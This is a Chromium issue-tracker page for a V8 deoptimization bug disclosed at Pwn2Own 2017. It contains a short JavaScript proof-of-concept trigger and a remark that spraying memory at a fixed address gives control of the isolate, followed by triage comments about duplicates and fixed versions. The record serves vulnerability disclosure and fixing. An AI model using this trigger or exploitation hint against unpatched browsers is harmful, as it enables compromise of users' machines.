Pwn2own: V8 - isolate control via function deoptimization |
||||||||||||||||||||||||
Issue description
The following bug was disclosed by ZDI during pacsec/mobile pwn2own 2017. Reference ZDI-CAN-5336
When the function deoptmizes, v8 engine has to restore the context. And in this function, deoptimizer doesn't work properly, the context is confused to an arguments_marker after the deoptimization and the isolate point to 0x7ff00000. So after we spray to control this address, we also control the isolate.
poc:
function SDD() {
function foo() {}
foo[0] = 0;
foo.prototype = 0;
try {
throw 0;
} catch(e) {
[0].forEach(bar);
}
function bar() {
foo[200];
}
for (var i = 0; i < 0x2000000; ++i) {}
}
SDD();
SDD();
SDD();
,
Nov 1 2017
,
Nov 1 2017
,
Nov 1 2017
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5677908797685760.
,
Nov 1 2017
Just to get it explicitly on
,
Nov 1 2017
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4748621353582592.
,
Nov 1 2017
,
Nov 1 2017
Assigning to v8 sheriff for this week.
,
Nov 2 2017
,
Nov 2 2017
,
Nov 2 2017
,
Nov 2 2017
This looks all most certainly to be a dup of issue 762020.
,
Nov 2 2017
Which means a fix has already been merged to the M62 branch.
,
Nov 2 2017
Confirmed, this is fixed by passing: --js-flags=--noturbo_inline_array_builtins when starting Chrome, so it's a dup and the fix is already merged.
,
Nov 2 2017
just to wrap this up - re: 14 can confirm that 62.0.3202.73 which is the version that KEEN team were succesfully targeting was/is using v8 version 6.2.414.34 which does not have 32141e93ff094f6df691cb89b10d2d6e1af4e983. This is why they were confident they would have been able to exploit this (they would). The next release of Android Chrome - 62.0.3202.85(?) contains v8 6.2.414.38, which contains this fix. TL;DR; no action required.
,
Nov 2 2017
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5599841702117376.
,
Nov 2 2017
actually considering 32141e93ff094f6df691cb89b10d2d6e1af4e983 was a stability fix and not a security fix, it sounds like this underlying issue should still be looked at...?
,
Nov 2 2017
Reopening the bug, i agree with c#17. We need a fix in turbo-inline-array-builtins, so that when it reenabled later, we don't reintroduce this bug silently.
,
Nov 2 2017
,
Nov 14 2017
Friendly ping from security sheriff.
,
Nov 14 2017
As far as I know this is fixed in versions after M62, but assigning to jarin for confirmation.
,
Nov 15 2017
,
Nov 15 2017
,
Dec 15 2017
,
Dec 15 2017
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review Please contact the milestone owner if you have questions. Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Dec 18 2017
+awhalley
,
Dec 18 2017
Hi jarin@ - mind confirming there's been a fix to turbo-inline-array-builtins, per #18?
,
Dec 19 2017
These issues had already been fixed in early October, see https://bugs.chromium.org/p/chromium/issues/detail?id=762020.
,
Jan 22 2018
,
Feb 21 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Mar 2 2018
,
Mar 27 2018
|
||||||||||||||||||||||||
►
Sign in to add a comment |
||||||||||||||||||||||||
Comment 1 by awhalley@chromium.org
, Nov 1 2017